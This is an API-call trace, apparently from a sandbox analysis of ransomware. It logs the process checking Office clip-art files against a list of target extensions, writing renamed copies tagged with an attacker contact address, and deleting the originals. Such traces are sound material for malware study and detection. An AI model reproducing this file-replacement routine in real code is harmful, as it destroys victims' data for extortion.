	[0200.710] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x9a76, lpOverlapped=0x0) returned 1
	[0200.713] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x9a80, lpOverlapped=0x0) returned 1
	[0200.715] ReadFile (in: hFile=0x594, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.715] WriteFile (in: hFile=0x500, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.715] SetEndOfFile (hFile=0x500) returned 1
	[0200.715] CloseHandle (hObject=0x500) returned 1
	[0200.715] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.715] SetEndOfFile (hFile=0x594) returned 1
	[0200.718] CloseHandle (hObject=0x594) returned 1
	[0200.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1
	[0200.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.720] lstrlenW (lpString=".doc") returned 4
	[0200.720] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.720] lstrlenW (lpString=".docx") returned 5
	[0200.720] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0200.720] lstrlenW (lpString=".pdf") returned 4
	[0200.720] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.720] lstrlenW (lpString=".xls") returned 4
	[0200.720] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.720] lstrlenW (lpString=".xlsx") returned 5
	[0200.720] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0200.720] lstrlenW (lpString=".ppt") returned 4
	[0200.720] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.720] lstrlenW (lpString=".zip") returned 4
	[0200.720] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.720] lstrlenW (lpString=".rar") returned 4
	[0200.720] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.720] lstrlenW (lpString=".bz2") returned 4
	[0200.720] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.720] lstrlenW (lpString=".7z") returned 3
	[0200.721] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.721] lstrlenW (lpString=".dbf") returned 4
	[0200.721] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.721] lstrlenW (lpString=".1cd") returned 4
	[0200.721] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.721] lstrlenW (lpString=".jpg") returned 4
	[0200.721] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.721] lstrlenW (lpString=".doc") returned 4
	[0200.721] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.721] lstrlenW (lpString=".docx") returned 5
	[0200.721] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0200.721] lstrlenW (lpString=".pdf") returned 4
	[0200.721] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.721] lstrlenW (lpString=".xls") returned 4
	[0200.721] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.721] lstrlenW (lpString=".xlsx") returned 5
	[0200.721] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0200.721] lstrlenW (lpString=".ppt") returned 4
	[0200.721] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.721] lstrlenW (lpString=".zip") returned 4
	[0200.721] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.721] lstrlenW (lpString=".rar") returned 4
	[0200.721] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.721] lstrlenW (lpString=".bz2") returned 4
	[0200.721] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.721] lstrlenW (lpString=".7z") returned 3
	[0200.722] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.722] lstrlenW (lpString=".dbf") returned 4
	[0200.722] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.722] lstrlenW (lpString=".1cd") returned 4
	[0200.722] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0200.722] lstrlenW (lpString=".jpg") returned 4
	[0200.722] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.722] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.722] lstrlenW (lpString="J0146142.JPG") returned 12
	[0200.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.911] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=46508) returned 1
	[0200.911] CloseHandle (hObject=0x554) returned 1
	[0200.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220
	[0200.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.912] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.912] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0200.913] GetLastError () returned 0x0
	[0200.913] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xb5ac, lpOverlapped=0x0) returned 1
	[0200.924] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xb5b0, lpOverlapped=0x0) returned 1
	[0200.926] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.926] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.926] SetEndOfFile (hFile=0x538) returned 1
	[0200.926] CloseHandle (hObject=0x538) returned 1
	[0200.926] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.926] SetEndOfFile (hFile=0x554) returned 1
	[0200.929] CloseHandle (hObject=0x554) returned 1
	[0200.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1
	[0200.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.931] lstrlenW (lpString=".doc") returned 4
	[0200.931] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.931] lstrlenW (lpString=".docx") returned 5
	[0200.931] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0200.931] lstrlenW (lpString=".pdf") returned 4
	[0200.931] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.931] lstrlenW (lpString=".xls") returned 4
	[0200.931] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.931] lstrlenW (lpString=".xlsx") returned 5
	[0200.931] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0200.931] lstrlenW (lpString=".ppt") returned 4
	[0200.931] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.931] lstrlenW (lpString=".zip") returned 4
	[0200.931] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.931] lstrlenW (lpString=".rar") returned 4
	[0200.931] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.931] lstrlenW (lpString=".bz2") returned 4
	[0200.932] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.932] lstrlenW (lpString=".7z") returned 3
	[0200.932] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.932] lstrlenW (lpString=".dbf") returned 4
	[0200.932] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.932] lstrlenW (lpString=".1cd") returned 4
	[0200.932] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.932] lstrlenW (lpString=".jpg") returned 4
	[0200.932] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.932] lstrlenW (lpString=".doc") returned 4
	[0200.932] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.932] lstrlenW (lpString=".docx") returned 5
	[0200.932] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0200.932] lstrlenW (lpString=".pdf") returned 4
	[0200.932] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.932] lstrlenW (lpString=".xls") returned 4
	[0200.932] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.932] lstrlenW (lpString=".xlsx") returned 5
	[0200.932] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0200.932] lstrlenW (lpString=".ppt") returned 4
	[0200.932] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.932] lstrlenW (lpString=".zip") returned 4
	[0200.932] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.932] lstrlenW (lpString=".rar") returned 4
	[0200.933] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.933] lstrlenW (lpString=".bz2") returned 4
	[0200.933] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.933] lstrlenW (lpString=".7z") returned 3
	[0200.933] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.933] lstrlenW (lpString=".dbf") returned 4
	[0200.933] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.933] lstrlenW (lpString=".1cd") returned 4
	[0200.933] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68
	[0200.933] lstrlenW (lpString=".jpg") returned 4
	[0200.933] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.933] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.933] lstrlenW (lpString="J0148757.JPG") returned 12
	[0200.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.934] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=67540) returned 1
	[0200.934] CloseHandle (hObject=0x554) returned 1
	[0200.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220
	[0200.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.935] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.935] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0200.936] GetLastError () returned 0x0
	[0200.936] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x107d4, lpOverlapped=0x0) returned 1
	[0200.942] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x107e0, lpOverlapped=0x0) returned 1
	[0200.944] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.944] WriteFile (in: hFile=0x538, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0200.945] SetEndOfFile (hFile=0x538) returned 1
	[0200.945] CloseHandle (hObject=0x538) returned 1
	[0200.949] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.949] SetEndOfFile (hFile=0x554) returned 1
	[0200.955] CloseHandle (hObject=0x554) returned 1
	[0200.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1
	[0200.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.959] lstrlenW (lpString=".doc") returned 4
	[0200.959] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.959] lstrlenW (lpString=".docx") returned 5
	[0200.959] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0200.959] lstrlenW (lpString=".pdf") returned 4
	[0200.959] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.959] lstrlenW (lpString=".xls") returned 4
	[0200.959] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.959] lstrlenW (lpString=".xlsx") returned 5
	[0200.960] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0200.960] lstrlenW (lpString=".ppt") returned 4
	[0200.960] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.960] lstrlenW (lpString=".zip") returned 4
	[0200.960] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.960] lstrlenW (lpString=".rar") returned 4
	[0200.960] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.960] lstrlenW (lpString=".bz2") returned 4
	[0200.960] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.960] lstrlenW (lpString=".7z") returned 3
	[0200.960] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.960] lstrlenW (lpString=".dbf") returned 4
	[0200.960] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.960] lstrlenW (lpString=".1cd") returned 4
	[0200.960] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.960] lstrlenW (lpString=".jpg") returned 4
	[0200.960] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.960] lstrlenW (lpString=".doc") returned 4
	[0200.960] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0200.960] lstrlenW (lpString=".docx") returned 5
	[0200.960] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0200.960] lstrlenW (lpString=".pdf") returned 4
	[0200.960] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0200.960] lstrlenW (lpString=".xls") returned 4
	[0200.961] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0200.961] lstrlenW (lpString=".xlsx") returned 5
	[0200.961] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0200.961] lstrlenW (lpString=".ppt") returned 4
	[0200.961] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0200.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.961] lstrlenW (lpString=".zip") returned 4
	[0200.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0200.961] lstrlenW (lpString=".rar") returned 4
	[0200.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0200.961] lstrlenW (lpString=".bz2") returned 4
	[0200.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0200.961] lstrlenW (lpString=".7z") returned 3
	[0200.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0200.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.961] lstrlenW (lpString=".dbf") returned 4
	[0200.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0200.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.961] lstrlenW (lpString=".1cd") returned 4
	[0200.961] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0200.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68
	[0200.961] lstrlenW (lpString=".jpg") returned 4
	[0200.961] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0200.961] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0200.962] lstrlenW (lpString="J0149018.JPG") returned 12
	[0200.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.963] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=27393) returned 1
	[0200.963] CloseHandle (hObject=0x554) returned 1
	[0200.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220
	[0200.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.964] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.964] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0200.965] GetLastError () returned 0x0
